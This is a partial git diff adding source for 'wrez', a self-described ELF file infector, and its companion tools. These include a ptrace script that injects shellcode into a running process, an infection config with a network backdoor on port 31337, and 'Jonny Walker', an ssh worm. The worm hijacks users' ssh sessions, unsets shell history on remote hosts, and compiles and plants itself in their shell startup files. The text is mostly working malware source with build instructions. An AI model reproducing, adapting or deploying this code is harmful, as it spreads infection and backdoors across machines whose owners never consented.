184 {
185 perror ("fwrite dumpfile");
186
187 exit (EXIT_FAILURE);
188 } else if (errno != 0) {
189 fprintf (stderr,
190 "[0x%08lx] invalid PTRACE_PEEKDATA\n",
191 addr + addr_walker);
192
193 exit (EXIT_FAILURE);
194 }
195 }
196
197 fclose (dump_f);
198 }
199 fclose (map_f);
200
201 if (ptrace (PTRACE_DETACH, fpid, NULL, NULL) < 0) {
202 perror ("ptrace PTRACE_DETACH");
203 exit (EXIT_FAILURE);
204 }
205
206 fprintf (stderr, "MEMDUMP: success. terminating.\n");
207 exit (EXIT_SUCCESS);
208}
209
210
211
212void
213hexdump (unsigned char *data, unsigned int amount)
214{
215 unsigned int dp, p; /* data pointer */
216 const char trans[] =
217 "................................ !\"#$%&'()*+,-./0123456789"
218 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
219 "nopqrstuvwxyz{|}~...................................."
220 "....................................................."
221 "........................................";
222
223 for (dp = 1; dp <= amount; dp++) {
224 printf ("%02x ", data[dp-1]);
225 if ((dp % 8) == 0)
226 printf (" ");
227 if ((dp % 16) == 0) {
228 printf ("| ");
229 p = dp;
230 for (dp -= 16; dp < p; dp++)
231 printf ("%c", trans[data[dp]]);
232 printf ("\n");
233 }
234 }
235 if ((amount % 16) != 0) {
236 p = dp = 16 - (amount % 16);
237 for (dp = p; dp > 0; dp--) {
238 printf (" ");
239 if (((dp % 8) == 0) && (p != 8))
240 printf (" ");
241 }
242 printf (" | ");
243 for (dp = (amount - (16 - p)); dp < amount; dp++)
244 printf ("%c", trans[data[dp]]);
245 }
246 printf ("\n");
247
248 return;
249}
diff --git a/other/wrez/tmp/ptrace-legit.c b/other/wrez/tmp/ptrace-legit.c
new file mode 100644
index 0000000..a6c53d7
--- /dev/null
+++ b/other/wrez/tmp/ptrace-legit.c
@@ -0,0 +1,143 @@
1/* -scutstyle */
2
3#include <sys/types.h>
4#include <sys/ptrace.h>
5#include <sys/wait.h>
6#include <sys/user.h>
7#include <unistd.h>
8#include <stdlib.h>
9#include <stdio.h>
10
11void
12hexdump (unsigned char *data, unsigned int amount);
13
14unsigned char shellcode[] = "\x90\x90\xcc\x73";
15
16int
17main (int argc, char *argv[])
18{
19 pid_t cpid;
20 struct user regs;
21 unsigned long int safed_eip;
22 unsigned long int addr,
23 addr_walker;
24 unsigned char data_saved[256];
25
26
27#if 1
28 if (argc != 2 || sscanf (argv[1], "%d", &cpid) != 1) {
29 printf ("usage: %s <pid>\n", argv[0]);
30 exit (EXIT_FAILURE);
31 }
32#else
33 cpid = getppid();
34#endif
35
36 printf ("pid = %d\n", cpid);
37
38 printf ("exploiting\n\n");
39
40 if (ptrace (PTRACE_ATTACH, cpid, NULL, NULL) < 0) {
41 perror ("ptrace");
42 exit (EXIT_FAILURE);
43 }
44
45 /* save data */
46 addr = 0xbffff010;
47 for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) {
48 data_saved[addr_walker] = ptrace (PTRACE_PEEKDATA, cpid,
49 addr + addr_walker, NULL);
50 }
51 hexdump (data_saved, sizeof (data_saved));
52
53 /* write */
54 for (addr_walker = 0 ; addr_walker < sizeof (shellcode) ;
55 ++addr_walker)
56 {
57 ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker,
58 shellcode[addr_walker] & 0xff);
59 }
60
61 /* redirect eip */
62 memset (&regs, 0, sizeof (regs));
63 if (ptrace (PTRACE_GETREGS, cpid, NULL, &regs) < 0) {
64 perror ("ptrace PTRACE_GETREGS");
65 exit (EXIT_FAILURE);
66 }
67 // write eip */
68 safed_eip = regs.regs.eip;
69 regs.regs.eip = 0xbffff010;
70 if (ptrace (PTRACE_SETREGS, cpid, NULL, &regs) < 0) {
71 perror ("ptrace PTRACE_GETREGS");
72 exit (EXIT_FAILURE);
73 }
74
75 if (ptrace (PTRACE_CONT, cpid, NULL, NULL) < 0) {
76 perror ("ptrace PTRACE_CONT");
77 exit (EXIT_FAILURE);
78 }
79
80 wait (NULL);
81 printf ("detrap\n");
82
83 /* restore */
84 for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) {
85 ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker,
86 data_saved[addr_walker] & 0xff);
87 }
88
89 /* restore regs */
90 regs.regs.eip = safed_eip;
91 if (ptrace (PTRACE_SETREGS, cpid, NULL, &regs) < 0) {
92 perror ("ptrace PTRACE_GETREGS");
93 exit (EXIT_FAILURE);
94 }
95
96 if (ptrace (PTRACE_DETACH, cpid, NULL, NULL) < 0) {
97 perror ("ptrace PTRACE_DETACH");
98 exit (EXIT_FAILURE);
99 }
100
101 exit (EXIT_SUCCESS);
102}
103
104
105
106void
107hexdump (unsigned char *data, unsigned int amount)
108{
109 unsigned int dp, p; /* data pointer */
110 const char trans[] =
111 "................................ !\"#$%&'()*+,-./0123456789"
112 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
113 "nopqrstuvwxyz{|}~...................................."
114 "....................................................."
115 "........................................";
116
117 for (dp = 1; dp <= amount; dp++) {
118 printf ("%02x ", data[dp-1]);
119 if ((dp % 8) == 0)
120 printf (" ");
121 if ((dp % 16) == 0) {
122 printf ("| ");
123 p = dp;
124 for (dp -= 16; dp < p; dp++)
125 printf ("%c", trans[data[dp]]);
126 printf ("\n");
127 }
128 }
129 if ((amount % 16) != 0) {
130 p = dp = 16 - (amount % 16);
131 for (dp = p; dp > 0; dp--) {
132 printf (" ");
133 if (((dp % 8) == 0) && (p != 8))
134 printf (" ");
135 }
136 printf (" | ");
137 for (dp = (amount - (16 - p)); dp < amount; dp++)
138 printf ("%c", trans[data[dp]]);
139 }
140 printf ("\n");
141
142 return;
143}
diff --git a/other/wrez/tmp/str.c b/other/wrez/tmp/str.c
new file mode 100644
index 0000000..d822f20
--- /dev/null
+++ b/other/wrez/tmp/str.c
@@ -0,0 +1,30 @@
1
2#include <stdio.h>
3
4#define STRINGPTR(dst,string) \
5{ \
6 register unsigned char * regtmp; \
7 \
8 __asm__ __volatile__ ( \
9 " call l0_%=\n\t" \
10 " .ascii \""##string"\"\n\t" \
11 " .byte 0x00\n\t" \
12 "l0_%=: popl %%eax\n\t" \
13 : "=a" (regtmp)); \
14\
15 (dst) = regtmp; \
16}
17
18
19int
20main (int argc, char *argv[])
21{
22 char * foo;
23
24
25 STRINGPTR(foo,"foobarcow");
26
27 printf ("%s\n", foo);
28}
29
30
diff --git a/other/wrez/unistd.h b/other/wrez/unistd.h
new file mode 100644
index 0000000..6af5a6f
--- /dev/null
+++ b/other/wrez/unistd.h
@@ -0,0 +1,281 @@
1#ifndef ASM_I386_UNISTD_H
2#define ASM_I386_UNISTD_H
3
4#ifndef NULL
5#define NULL ((void *) 0x0)
6#endif
7/*
8 * This file contains the system call numbers.
9 */
10
11#define __NR_exit 1
12#define __NR_fork 2
13#define __NR_read 3
14#define __NR_write 4
15#define __NR_open 5
16#define __NR_close 6
17#define __NR_waitpid 7
18#define __NR_creat 8
19#define __NR_link 9
20#define __NR_unlink 10
21#define __NR_execve 11
22#define __NR_chdir 12
23#define __NR_time 13
24#define __NR_mknod 14
25#define __NR_chmod 15
26#define __NR_lchown 16
27#define __NR_break 17
28#define __NR_oldstat 18
29#define __NR_lseek 19
30#define __NR_getpid 20
31#define __NR_mount 21
32#define __NR_umount 22
33#define __NR_setuid 23
34#define __NR_getuid 24
35#define __NR_stime 25
36#define __NR_ptrace 26
37#define __NR_alarm 27
38#define __NR_oldfstat 28
39#define __NR_pause 29
40#define __NR_utime 30
41#define __NR_stty 31
42#define __NR_gtty 32
43#define __NR_access 33
44#define __NR_nice 34
45#define __NR_ftime 35
46#define __NR_sync 36
47#define __NR_kill 37
48#define __NR_rename 38
49#define __NR_mkdir 39
50#define __NR_rmdir 40
51#define __NR_dup 41
52#define __NR_pipe 42
53#define __NR_times 43
54#define __NR_prof 44
55#define __NR_brk 45
56#define __NR_setgid 46
57#define __NR_getgid 47
58#define __NR_signal 48
59#define __NR_geteuid 49
60#define __NR_getegid 50
61#define __NR_acct 51
62#define __NR_umount2 52
63#define __NR_lock 53
64#define __NR_ioctl 54
65#define __NR_fcntl 55
66#define __NR_mpx 56
67#define __NR_setpgid 57
68#define __NR_ulimit 58
69#define __NR_oldolduname 59
70#define __NR_umask 60
71#define __NR_chroot 61
72#define __NR_ustat 62
73#define __NR_dup2 63
74#define __NR_getppid 64
75#define __NR_getpgrp 65
76#define __NR_setsid 66
77#define __NR_sigaction 67
78#define __NR_sgetmask 68
79#define __NR_ssetmask 69
80#define __NR_setreuid 70
81#define __NR_setregid 71
82#define __NR_sigsuspend 72
83#define __NR_sigpending 73
84#define __NR_sethostname 74
85#define __NR_setrlimit 75
86#define __NR_getrlimit 76
87#define __NR_getrusage 77
88#define __NR_gettimeofday 78
89#define __NR_settimeofday 79
90#define __NR_getgroups 80
91#define __NR_setgroups 81
92#define __NR_select 82
93#define __NR_symlink 83
94#define __NR_oldlstat 84
95#define __NR_readlink 85
96#define __NR_uselib 86
97#define __NR_swapon 87
98#define __NR_reboot 88
99#define __NR_readdir 89
100#define __NR_mmap 90
101#define __NR_munmap 91
102#define __NR_truncate 92
103#define __NR_ftruncate 93
104#define __NR_fchmod 94
105#define __NR_fchown 95
106#define __NR_getpriority 96
107#define __NR_setpriority 97
108#define __NR_profil 98
109#define __NR_statfs 99
110#define __NR_fstatfs 100
111#define __NR_ioperm 101
112#define __NR_socketcall 102
113#define __NR_syslog 103
114#define __NR_setitimer 104
115#define __NR_getitimer 105
116#define __NR_stat 106
117#define __NR_lstat 107
118#define __NR_fstat 108
119#define __NR_olduname 109
120#define __NR_iopl 110
121#define __NR_vhangup 111
122#define __NR_idle 112
123#define __NR_vm86old 113
124#define __NR_wait4 114
125#define __NR_swapoff 115
126#define __NR_sysinfo 116
127#define __NR_ipc 117
128#define __NR_fsync 118
129#define __NR_sigreturn 119
130#define __NR_clone 120
131#define __NR_setdomainname 121
132#define __NR_uname 122
133#define __NR_modify_ldt 123
134#define __NR_adjtimex 124
135#define __NR_mprotect 125
136#define __NR_sigprocmask 126
137#define __NR_create_module 127
138#define __NR_init_module 128
139#define __NR_delete_module 129
140#define __NR_get_kernel_syms 130
141#define __NR_quotactl 131
142#define __NR_getpgid 132
143#define __NR_fchdir 133
144#define __NR_bdflush 134
145#define __NR_sysfs 135
146#define __NR_personality 136
147#define __NR_afs_syscall 137 /* Syscall for Andrew File System */
148#define __NR_setfsuid 138
149#define __NR_setfsgid 139
150#define __NR__llseek 140
151#define __NR_getdents 141
152#define __NR__newselect 142
153#define __NR_flock 143
154#define __NR_msync 144
155#define __NR_readv 145
156#define __NR_writev 146
157#define __NR_getsid 147
158#define __NR_fdatasync 148
159#define __NR__sysctl 149
160#define __NR_mlock 150
161#define __NR_munlock 151
162#define __NR_mlockall 152
163#define __NR_munlockall 153
164#define __NR_sched_setparam 154
165#define __NR_sched_getparam 155
166#define __NR_sched_setscheduler 156
167#define __NR_sched_getscheduler 157
168#define __NR_sched_yield 158
169#define __NR_sched_get_priority_max 159
170#define __NR_sched_get_priority_min 160
171#define __NR_sched_rr_get_interval 161
172#define __NR_nanosleep 162
173#define __NR_mremap 163
174#define __NR_setresuid 164
175#define __NR_getresuid 165
176#define __NR_vm86 166
177#define __NR_query_module 167
178#define __NR_poll 168
179#define __NR_nfsservctl 169
180#define __NR_setresgid 170
181#define __NR_getresgid 171
182#define __NR_prctl 172
183#define __NR_rt_sigreturn 173
184#define __NR_rt_sigaction 174
185#define __NR_rt_sigprocmask 175
186#define __NR_rt_sigpending 176
187#define __NR_rt_sigtimedwait 177
188#define __NR_rt_sigqueueinfo 178
189#define __NR_rt_sigsuspend 179
190#define __NR_pread 180
191#define __NR_pwrite 181
192#define __NR_chown 182
193#define __NR_getcwd 183
194#define __NR_capget 184
195#define __NR_capset 185
196#define __NR_sigaltstack 186
197#define __NR_sendfile 187
198#define __NR_getpmsg 188 /* some people actually want streams */
199#define __NR_putpmsg 189 /* some people actually want streams */
200#define __NR_vfork 190
201#define __NR_stat64 195
202
203/* user-visible error numbers are in the range -1 - -122: see <asm-i386/errno.h> */
204
205#define __syscall_return(type, res) \
206do { \
207 if ((unsigned long)(res) >= (unsigned long)(-125)) { \
208 errno = -(res); \
209 res = -1; \
210 } \
211 return (type) (res); \
212} while (0)
213
214/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
215#define _syscall0(type,name) \
216type name(void) \
217{ \
218long __res; \
219__asm__ volatile ("int $0x80" \
220 : "=a" (__res) \
221 : "0" (__NR_##name)); \
222__syscall_return(type,__res); \
223}
224
225#define _syscall1(type,name,type1,arg1) \
226type name(type1 arg1) \
227{ \
228long __res; \
229__asm__ volatile ("int $0x80" \
230 : "=a" (__res) \
231 : "0" (__NR_##name),"b" ((long)(arg1))); \
232__syscall_return(type,__res); \
233}
234
235#define _syscall2(type,name,type1,arg1,type2,arg2) \
236type name(type1 arg1,type2 arg2) \
237{ \
238long __res; \
239__asm__ volatile ("int $0x80" \
240 : "=a" (__res) \
241 : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
242__syscall_return(type,__res); \
243}
244
245#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
246type name(type1 arg1,type2 arg2,type3 arg3) \
247{ \
248long __res; \
249__asm__ volatile ("int $0x80" \
250 : "=a" (__res) \
251 : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
252 "d" ((long)(arg3))); \
253__syscall_return(type,__res); \
254}
255
256#define _syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
257type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
258{ \
259long __res; \
260__asm__ volatile ("int $0x80" \
261 : "=a" (__res) \
262 : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
263 "d" ((long)(arg3)),"S" ((long)(arg4))); \
264__syscall_return(type,__res); \
265}
266
267#define _syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
268 type5,arg5) \
269type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
270{ \
271long __res; \
272__asm__ volatile ("int $0x80" \
273 : "=a" (__res) \
274 : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
275 "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
276__syscall_return(type,__res); \
277}
278
279
280#endif /* _ASM_I386_UNISTD_H_ */
281
diff --git a/other/wrez/victim b/other/wrez/victim
new file mode 100755
index 0000000..e67e2b0
--- /dev/null
+++ b/other/wrez/victim
Binary files differ
diff --git a/other/wrez/walker/README b/other/wrez/walker/README
new file mode 100644
index 0000000..4565d02
--- /dev/null
+++ b/other/wrez/walker/README
@@ -0,0 +1,21 @@
1Jonny Walker 1.0
2================
3
4Jonny is a ssh worm. Make sure you know what you are doing
5before starting or compiling it.
6
7Jonny will define aliases from "$HOME/ " to ssh and
8/usr/bin/ssh. Once user calls ssh to log into a remote
9site, Jonny will slip the real ssh output through a pty
10and controls the whole session. Once it sees prompt of remote
11shell he will plant himself there so that following ssh
12sessions from that account will be wormed too.
13Appropriate backdooring-functions may be added very easily.
14
15To build Jonny, just type './plant'. Then
16"./walker root@remote.host"
17
18To remove Jonny, remove the ssh aliases from .bashrc,
19.bash_profile and .cshrc. Also remove ' ' binary in ~.
20
21
diff --git a/other/wrez/walker/beautify b/other/wrez/walker/beautify
new file mode 100644
index 0000000..1810291
--- /dev/null
+++ b/other/wrez/walker/beautify
@@ -0,0 +1,6 @@
1while (<>) {
2 s/\t//g;
3 s/\/\/[^\n]+//g;
4 print;
5}
6
diff --git a/other/wrez/walker/fixsize b/other/wrez/walker/fixsize
new file mode 100755
index 0000000..1138843
--- /dev/null
+++ b/other/wrez/walker/fixsize
@@ -0,0 +1,14 @@
1#!/usr/bin/perl
2
3my $i = shift;
4my $o = shift;
5open I, "<$i" or die "$!";
6open O, ">$o" or die "$!";
7my $size = (stat $i)[7];
8
9while (<I>) {
10 s/9999/$size/;
11 print O;
12}
13close I; close O;
14
diff --git a/other/wrez/walker/plant b/other/wrez/walker/plant
new file mode 100755
index 0000000..22fcb6c
--- /dev/null
+++ b/other/wrez/walker/plant
@@ -0,0 +1,13 @@
1#!/bin/sh
2
3# run this to build 'walker' binary
4# which infects remote system if used
5# instead of ssh binary
6
7cat walker.c|perl beautify|cat>w.c
8./fixsize w.c w2.c
9cc -O2 w2.c -o walker
10strip walker
11cat w2.c>>walker
12rm -f w.c w2.c
13
diff --git a/other/wrez/walker/walker b/other/wrez/walker/walker
new file mode 100755
index 0000000..fca2f3d
--- /dev/null
+++ b/other/wrez/walker/walker
Binary files differ
diff --git a/other/wrez/walker/walker.c b/other/wrez/walker/walker.c
new file mode 100644
index 0000000..fb40898
--- /dev/null
+++ b/other/wrez/walker/walker.c
@@ -0,0 +1,278 @@
1// I partly ripped the idea from a friend who did similar
2// things in a different way. However this solution seems
3// more usable.
4#include <stdio.h>
5#include <sys/types.h>
6#include <fcntl.h>
7#include <errno.h>
8#include <unistd.h>
9#include <sys/ioctl.h>
10#include <termios.h>
11#include <string.h>
12
13
14FILE *me;
15
16int open_pty(int *master, int *slave)
17{
18 char devpty[] = "/dev/ptyXY";
19 char *s1 = "pqrstuvwxyzPQRST",
20 *s2 = "0123456789abcdef";
21
22 for (; *s1 != 0; ++s1) {
23 devpty[8] = *s1;
24 for (; *s2 != 0; ++s2) {
25 devpty[9] = *s2;
26 if ((*master = open(devpty, O_RDWR|O_NOCTTY)) < 0) {
27 if (errno == ENOENT)
28 return -1;
29 else
30 continue;
31 }
32 devpty[5] = 't';
33 if ((*slave = open(devpty, O_RDWR|O_NOCTTY)) < 0) {
34 close(*master);
35 return -1;
36 }
37 return 0;
38 }
39 }
40 return -1;
41}
42
43
44char crept_in = 0;
45
46// contains buf the shellprompt?
47char check_shell(char *buf)
48{
49 int l = strlen(buf);
50 if (l < 2)
51 return 0;
52 if ((buf[l-2] == '#' || buf[l-2] == '>' ||
53 buf[l-2] == ')' || buf[l-2] == '$') &&
54 buf[l-1] == ' ')
55 return 1;
56 return 0;
57}
58
59// read until you see shellprompt
60int s_read(int fd, char *d, size_t dl)
61{
62 do {
63 memset(d, 0, dl);
64 if (read(fd, d, dl) <= 0)
65 return -1;
66 } while (!check_shell(d));
67 return 0;
68}
69
70
71// read exactly until string s seen
72// do not even read one byte more
73int read_until(int fd, char *s)
74{
75 char *buf = (char*)calloc(1, 128);
76 char *ptr = buf;
77 int l = 0, n = 0, i = 1, N = 0;
78
79 do {
80 l = read(fd, ptr, 1);
81 if (l <= 0) {
82 free(buf);
83 return -1;
84 }
85 ++ptr; ++n; ++N;
86 if (n >= 127) {
87 ++i; n = 0;
88 buf = (char*)realloc(buf, 128*i);
89 ptr = buf+N;
90 memset(ptr, 0, 128);
91 }
92 } while (strstr(buf, s) == NULL);
93
94 free(buf);
95 return 0;
96}
97
98
99int creep_in(int fd)
100{
101 char dummy[4096],
102 *shell = "\x24SHELL\n",
103 *cat = "dd of=x2.c bs=1 count=9999\n",
104 *noecho = "unset HISTFILE\n",
105 *cc = "cc x2.c -o ' ';cat x2.c>>' ';rm -f x2.c\n",
106 *test = "grep -q -s ssh .bashrc;echo \x24?\n",
107
108 *plant = "echo >>.bashrc;"
109 "echo alias ssh=\"\x24HOME/'\x5c '\">>.bashrc;"
110 "echo alias /usr/bin/ssh=\"\x24HOME/'\x5c '\">>.bashrc;"
111
112 "echo >>.bash_profile;"
113 "echo alias ssh=\"\x24HOME/'\x5c '\">>.bash_profile;"
114 "echo alias /usr/bin/ssh=\"\x24HOME/'\x5c '\">>.bash_profile;"
115
116 "echo >>.cshrc;"
117 "echo alias ssh \"\x24HOME/'\x5c '\">>.cshrc;"
118 "echo alias /usr/bin/ssh \"\x24HOME/'\x5c '\">>.cshrc\n",
119
120 *exit = "stty echo;exit\n",
121 *newsh = "exec \x24SHELL\n";
122 int i = 0;
123 struct termios t, ot;
124
125 // disable echo on master or we would
126 // read twice what we wrote to shell
127 tcgetattr(fd, &t); ot = t; t.c_lflag &= ~ECHO;
128 tcsetattr(fd, TCSANOW, &t);
129
130 write(fd, shell, strlen(shell));
131 read_until(fd, "\x24SHELL");
132
133 s_read(fd, dummy, sizeof(dummy));
134
135 write(fd, noecho, strlen(noecho));
136 read_until(fd, "\n");
137 s_read(fd, dummy, sizeof(dummy));
138
139 write(fd, test, strlen(test)); // see if account is already infected
140 read_until(fd, "\n");
141 memset(dummy, 0, sizeof(dummy));
142 read(fd, dummy, 1);
143
144 printf("infected: %c\r\n", dummy[0]);
145
146 if (dummy[0] == '0')
147 s_read(fd, dummy, sizeof(dummy)); // infected
148 else {
149 s_read(fd, dummy, sizeof(dummy)); // not infected
150
151 write(fd, cat, strlen(cat));
152 read_until(fd, "\n");
153
154 while (fgets(dummy, sizeof(dummy), me))
155 write(fd, dummy, strlen(dummy));
156
157 read_until(fd, "records out");
158 s_read(fd, dummy, sizeof(dummy));
159
160 write(fd, cc, strlen(cc));
161 read_until(fd, "\n");
162 s_read(fd, dummy, sizeof(dummy));
163
164 write(fd, plant, strlen(plant));
165 read_until(fd, "\n");
166 s_read(fd, dummy, sizeof(dummy));
167 }
168
169 write(fd, exit, strlen(exit));
170 read_until(fd, "\n");
171 s_read(fd, dummy, sizeof(dummy));
172
173 write(fd, newsh, strlen(newsh));
174 read_until(fd, "\x24SHELL");
175
176 s_read(fd, dummy, sizeof(dummy));// read 2nd time b/c
177 // $ from $SHELL matched again
178
179 // reset terminal mode
180 tcsetattr(fd, TCSANOW, &ot);
181 return 0;
182}
183
184
185extern char **environ;
186
187int main(int argc, char **argv)
188{
189 int m, s, r;
190 char **ssh, buf[4096];
191 fd_set rset;
192 struct termios t, ot;
193 struct winsize ws;
194
195
196 ssh = (char**)calloc(argc, sizeof(char *));
197 for (m = 0; m < argc; ++m) {
198 ssh[m] = (char*)calloc(strlen(argv[m])+10, 1);
199 strcpy(ssh[m], argv[m]);
200 }
201 strcpy(ssh[0], "ssh");
202 me = fopen(*argv, "r");
203 memset(*argv, 0, strlen(*argv)); strcpy(*argv, "ssh");
204
205 fseek(me, -9999, SEEK_END);
206
207 setbuffer(stdin, NULL, 0);
208 setbuffer(stdout, NULL, 0);
209
210 if (open_pty(&m, &s) < 0)
211 return 1;
212
213 // make term raw
214 tcgetattr(m, &t); ot = t; cfmakeraw(&t);
215 t.c_cc[VMIN] = 1;
216 t.c_cc[VTIME] = 0;
217 tcsetattr(0, TCSANOW, &t);
218
219 // set correct size on slave
220 if (ioctl(0, TIOCGWINSZ, (char*)&ws) >= 0)
221 ioctl(s, TIOCSWINSZ, (char*)&ws);
222
223
224 if (fork() == 0) {
225 setsid();
226 // make slave point to stdin/stdout/stderr and the
227 // controlling terminal
228 dup2(s, 0); dup2(s, 1); dup2(s, 2);
229 close(m); close(s);
230 ioctl(0, TIOCSCTTY, 0);
231 execve("/usr/bin/ssh", ssh, environ);
232 execve("/usr/local/bin/ssh", ssh, environ);
233 execve("/usr/sbin/ssh", ssh, environ);
234 exit(1);
235 }
236 close(s);
237
238
239 // standard lame I/O multiplex
240 while (1) {
241 FD_ZERO(&rset);
242 FD_SET(0, &rset);
243 FD_SET(m, &rset);
244
245 if (select(m+1, &rset, NULL, NULL, NULL) < 0) {
246 if (errno == EAGAIN)
247 continue;
248 else
249 break;
250 }
251 memset(buf, 0, sizeof(buf));
252 if (FD_ISSET(0, &rset)) {
253 r = read(0, buf, sizeof(buf));
254 if (r <= 0)
255 break;
256 if (write(m, buf, r) < 0)
257 break;
258 }
259 if (FD_ISSET(m, &rset)) {
260 r = read(m, buf, sizeof(buf));
261 if (r <= 0)
262 break;
263 if (write(1, buf, r) < 0)
264 break;
265 if (!crept_in && check_shell(buf)) {
266 crept_in = 1;
267 creep_in(m);
268 }
269
270
271 }
272 }
273
274 // reset terminal
275 tcsetattr(0, TCSANOW, &ot);
276 return 0;
277}
278
diff --git a/other/wrez/wrconfig.h b/other/wrez/wrconfig.h
new file mode 100644
index 0000000..92a190f
--- /dev/null
+++ b/other/wrez/wrconfig.h
@@ -0,0 +1,82 @@
1
2#ifndef WRCONFIG_H
3#define WRCONFIG_H
4
5#pragma pack(1)
6
7#define VICTIM_LEN 32
8
9
10/* wrdynconfig
11 *
12 * only active after the first infection has taken place.
13 */
14
15typedef struct {
16 unsigned char cnul; /* constant 0x00 */
17 unsigned int flags; /* various flags, see below */
18
19 /* flag dependant fields
20 */
21 unsigned int icount; /* (WRF_GENERATION_LIMIT) infection count */
22 unsigned int curhost; /* (WRF_KEEP_FINGERPRINT) this host */
23
24 unsigned char xxx_temp[8]; /* FIXME: temporary filename for testing */
25} wrdynconfig;
26
27/* flag access macros
28 */
29#define WRF_ISSET(flags,flagmask) \
30 (((flags) & (flagmask)) == (flagmask))
31#define WRF_SET(flags,flagmask) \
32 (flags) |= (flagmask);
33#define WRF_CLEAR(flags,flagmask) \
34 (flags) &= ~(flagmask);
35#define WRF_TOGGLE(flags,flagmask) \
36 (flags) ^= (flagmask);
37
38/* limit propagation by icount, icount is decreased until it reaches 0 */
39#define WRF_GENERATION_LIMIT 0x00000001
40/* always keep a fingerprint of the current host in curhost */
41#define WRF_GET_FINGERPRINT 0x00000002
42
43
44typedef struct {
45 unsigned long int wr_start; /* virtual start address */
46 unsigned long int decomp_len;
47 unsigned long int wr_oldctors; /* original .ctors address */
48
49 unsigned long int elf_base; /* &elf_header[0] of host */
50
51 union {
52 /* upon first infection the victim array is used to carry the
53 * name of the executeable to be infected.
54 * afterwards (i.e. any other infection) this space is
55 * recycled for data specifying various properties of the
56 * virus. see wrcore.c for a more in-depth explanation.
57 *
58 * first infection (set by the "initial" program):
59 * victim = filename to be infected
60 * vcfgptr = pointer to memory which will overwrite the
61 * vcfg structure.
62 */
63 struct {
64 unsigned char victim[VICTIM_LEN];
65 void * vcfgptr;
66 } vinit;
67
68 wrdynconfig vcfg;
69 } dyn;
70
71 /* compression related data
72 */
73 unsigned long int cmprlen;
74 unsigned char llstuff;
75 unsigned short int hl1stuff;
76 unsigned char hl2stuff;
77 unsigned char hf2stuff;
78} wrconfig;
79
80#endif
81
82
diff --git a/other/wrez/wrcore.c b/other/wrez/wrcore.c
new file mode 100644
index 0000000..f2219d2
--- /dev/null
+++ b/other/wrez/wrcore.c
@@ -0,0 +1,1133 @@
1/* wrez infector core
2 */
3
4#include <elf.h>
5#include "int80.h"
6#include "int80-net.h"
7#include "unistd.h"
8
9#include "wrconfig.h"
10#include "wrezdefs.h"
11#include "fingerprint.h"
12#include "lime-interface.h"
13#include "lookup.h"
14
15#include "common.c"
16#include "wrutil.c"
17
18
19#define WREZ_SIZE_COMP (cfg->cmprlen + cfg->decomp_len)
20
21
22/* static prototypes plus the central wrez_main function
23 */
24
25int wrez_main (wrconfig *cfg);
26static inline int isinfected (char *filename);
27static inline void infect (wrconfig *cfg, char *filename, char *mvfile);
28static unsigned int infect_image (wrconfig *cfg, unsigned char *dest,
29 unsigned long int new_entry);
30static inline void fixup_ctors (int vfd, unsigned long int old_addr,
31 unsigned long int new_addr, unsigned int startseek,
32 unsigned int lenseek);
33static inline int look_user (wrconfig *cfg);
34static inline int look_user_proc (wrconfig *cfg, char *t_proc,
35 unsigned char *filename);
36static int mmap (void *start, long length, int prot, int flags,
37 int fd, long offset);
38unsigned int fp_get (void);
39
40
41/* define-dependant prototypes
42 */
43
44#ifdef LOOKUP_GOT_DEEP_REDIRECTION_EXAMPLE
45static void ex_wrez_got_deep_redirect (wrconfig *cfg);
46static int ex_wrez_malloc (int size);
47#endif
48
49#ifdef LOOKUP_GOT_REDIRECTION_EXAMPLE
50static void ex_wrez_got_redirect (wrconfig *cfg);
51static int ex_wrez_got_test (char *toprint);
52#endif
53
54#ifdef LOOKUP_LIBC_CALL_EXAMPLE
55static void ex_wrez_libc_call (wrconfig *cfg);
56#endif
57
58#ifdef LOOKUP_BACKDOOR_NETWORK_MAGIC
59static void backdoor_network (wrconfig *cfg);
60static int backdoor_network_accept (int s, void *addr, int addr_len);
61int backdoor_network_check (int sock);
62#define MAGIC_PORT 31337
63#endif
64
65
66/* core infection function, doing all the work
67 *
68 * the return value controls the environment code in wrez.asm:
69 *
70 * == 0: erase all virus memory before passing control to host application
71 * != 0: keep virus in memory forever
72 */
73int
74wrez_main (wrconfig *cfg)
75{
76 char * foo; /* TODO: remove this ;) */
77 char initfilename[VICTIM_LEN]; /* temporary copy */
78 wrdynconfig * dcfg = &cfg->dyn.vcfg;
79
80
81#ifdef LOOKUP_LIBC_CALL_EXAMPLE
82 ex_wrez_libc_call (cfg);
83#endif
84
85#ifdef LOOKUP_GOT_REDIRECTION_EXAMPLE
86 ex_wrez_got_redirect (cfg);
87#endif
88
89#ifdef LOOKUP_GOT_DEEP_REDIRECTION_EXAMPLE
90 ex_wrez_got_deep_redirect (cfg);
91#endif
92
93#ifdef LOOKUP_BACKDOOR_NETWORK_MAGIC
94 backdoor_network (cfg);
95#endif
96
97 /* first infection run
98 */
99 if (cfg->dyn.vcfg.cnul != 0) {
100 memcpy (initfilename, cfg->dyn.vinit.victim, VICTIM_LEN);
101
102 /* if initial infection process passed us a configuration
103 * structure pointer, copy it.
104 */
105 if (cfg->dyn.vinit.vcfgptr != NULL) {
106 memcpy ((unsigned char *) &cfg->dyn.vcfg,
107 (unsigned char *) cfg->dyn.vinit.vcfgptr,
108 sizeof (cfg->dyn.vcfg));
109 }
110
111 /* now infect the initial victim, exit afterwards
112 */
113 if (isinfected (initfilename) == 0)
114 infect (cfg, initfilename, (char *) 0);
115
116 return (1);
117 }
118
